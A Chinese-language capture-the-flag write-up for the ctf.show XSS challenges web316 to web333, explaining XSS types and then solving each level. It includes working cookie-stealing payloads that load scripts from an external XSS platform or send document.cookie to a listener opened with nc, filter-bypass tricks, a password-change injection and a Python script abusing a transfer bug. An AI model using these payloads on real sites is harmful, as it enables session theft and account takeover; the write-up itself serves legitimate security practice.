题目地址:https://ctf.show/challenges

1.png

写在前面:这些东西吧,看起来都挺难的,感觉难以下手(可能是我太菜了吧),不过说来说去还是需要自己动手,你不动手的话就一直不懂,自己实践了就会突然明白,哦,原来是这么回事,多少能学到点东西,知识是靠积累的,不要急于求成,慢慢的就会明白,懂的也越来越多,希望写下这篇东西对自己,对各位读者能有所帮助吧。
在这之前也不知道XSS是啥玩意,大概去搜集了点东西当知识储备吧,对这方面也不是很了解,希望看到的师傅们觉得哪里有错误能及时给我指正...(以下内容摘自百度)

什么是xss?

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。

xss的危害

通过 document.cookie 盗取 cookie中的信息
使用 js或 css破坏页面正常的结构与样式
流量劫持(通过访问某段具有 window.location.href 定位到其他页面)
dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame进一步的进行 CSRF 攻击。
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。

xss三种分类

1.反射型:
一般来说这种类型的XSS,需要攻击者提前构造一个恶意链接,来诱使客户点击,比如这样的一段链接:

www.abc.com/?params=<script>alert(/hacked by bit/)</script>。

2.存储型:
这种类型的XSS,危害比前一种大得多。比如一个攻击者在论坛的楼层中包含了一段JavaScript代码,并且服务器没有正确进行过滤输出,那就会造成浏览这个页面的用户执行这段JavaScript代码。
3.DOMXSS:
这种类型则是利用非法输入来闭合对应的html标签。

比如,有这样的一个a标签:
乍看问题不大,可是当$var的内容变为 ’ οnclick=’alert(/hacked by bit/) //,这段代码就会被执行。

web316

首先得找一个XSS平台:
推荐xss平台:https://xss.pt/xss.php http://xsscom.com/https://xss.pt/
注册,登录后创建项目,选择默认模块,一直点下一步。
然后就随便选个代码放到题目输入框中,这里我选的是经过一次url编码的:

 %26lt%3B%2FtExtArEa%26gt%3B%26%23039%3B%26quot%3B%26gt%3B%26lt%3BsCRiPt%20sRC%3Dhttps%3A%2F%2Fxss.pt%2Frxab%26gt%3B%26lt%3B%2FsCrIpT%26gt%3B 

输入到题目框刷新一下回到XSS平台,找到自己的项目,可以看到返回了flag

 时间     接收的内容     Request Headers     操作
    -折叠     2021-02-10 18:26:22     

    location : http://127.0.0.1/target.php?key=ctfshow_bot_key
    toplocation : http://127.0.0.1/target.php?key=ctfshow_bot_key
    cookie : PHPSESSID=jpgsf2q97fj60t695i8hjfvqjk; flag=ctfshow%7Bd530a8ac-7fb6-4b7e-9c70-0f8c149611d9%7D
    opener :

    

    HTTP_REFERER : http://127.0.0.1/target.php?key=ctfshow_bot_key
    HTTP_USER_AGENT : Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
    REMOTE_ADDR : 49.235.148.38
    IP-ADDR :

再 将其url解码一下就得到了最终flag,这里显示的可能不太清处,知道是这么回事就行了,还是得自己实践噢。

web317-319

提示开始过滤了,实际上这些都是大同小异,过滤了就换个代码
317过滤了script
318过滤了img
在那些代码中找没有script和img的,一次不出来就多试几次
我用的是实体十六进制编码,返回了flag,需要url解码一次得到最终flag,你们自己可以多试试
319增加了过滤,我用的极限代码:<sCRiPt/SrC=//xss.pt/rxab>

web320-322

过滤了空格,好家伙,这个我刚开始试了好久,
后来发现用tab键可以代替空格,代码用上面的仍可。

web323-326

过滤了iframe
<body/**/onload=document.location='http://xxxx:5000?cookie='+document.cookie;>
输入后服务器开启监 nc -lvp 5000(bot会每隔一段时间访问输入的内容)
看监听到的内容会有flag

web327

收件人一定得是admin,在内容和发件人里面都填上payload
自己随便试几次就出来了,
payload还是之前平台上的:
我用的是这个

web328

先注册一个用户
user="bit"
passwd="",
重复密码也是这个,
然后再nc -lvvp 33333 监听一下
就可以抓到管理员的cookie值,伪造一下,刷新页面,就可以看到自己是管理员了
然后在用户管理中能看到flag和管理员的密码
flag就是‘flag’这个用户的密码

web329

可以发现上一个方法并不行了
直接拿到管理员的cookie也没法成功登录。由于设置了cookie发给你后就让他失效,所以没法登录成admin。
但是可以想办法把那个页面的内容给直接读到
大概看了一下这题姿势还是挺多的,我说一下我的方法吧,个人感觉还是挺简单的
首先依旧是注册一下
用户名 : bit
密码:
然后监听一下这个端口可以看到flag直接就出来了
Y4师傅的方法我大概看了一下,没试

web330

多了个修改密码功能,为GET请求
注册用户名:

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

密码:随意
提交,然后等10s用管理员账户登录
再然后就可以看到flag了

web331

把GET请求换成POST了,做一个小小的改动
注册用户名:
密码:随意
提交,然后等个一下小,用管理员账户登录
用户管理就可以看到flag了

web332

挺有趣的一题,可以看到有这些选项:

注册
登陆
用户管理
修改密码
转账汇款
个人账户
购买flag
登出

先注册两个账户,再登录一下,刚开始自己余额好像是0,在注册登录完后发现有了5块钱,
再向另一个号转账汇款,-999999999,然后 欢迎你使用ctfshow转账,你的余额:1000000004元 再购买flag就行了
这应该算BUG吧,也算是非预期了

web333

羽师傅的exp,据说也是非预期
可以转账给自己,而且得保证自己最低有1块钱,写个脚本

import requests
import re
import time
x=5
url="http://4cffb61b-12cc-42c8-a8af-2aa8ce1ef2db.chall.ctf.show:8080/api/amount.php"
url2="http://4cffb61b-12cc-42c8-a8af-2aa8ce1ef2db.chall.ctf.show:8080/api/getFlag.php"
headers={'Cookie':'PHPSESSID=gkkqarua91nroa58tk3ag12b53'}  #自己登录后的sessionid
while True:
    print(x)
    t=x-1
    data={
    'u':'bit', #注册的用户名
    'a':str(t)
    }
    r=requests.post(url,headers=headers,data=data)
    print(r.text)
    if(x>10000):
        r2=requests.get(url2,headers=headers)
        print(r2.text)
        break
    x+=t

运行结果:

5
交易成功
9
交易成功
17
交易成功
33
交易成功
65
交易成功
129
交易成功
257
交易成功
513
交易成功
1025
交易成功
2049
交易成功
4097
交易成功
8193
交易成功
16385
交易成功
ctfshow{078ac1af-03fb-4ea1-992c-0c172958839d}

标签: none

暂无评论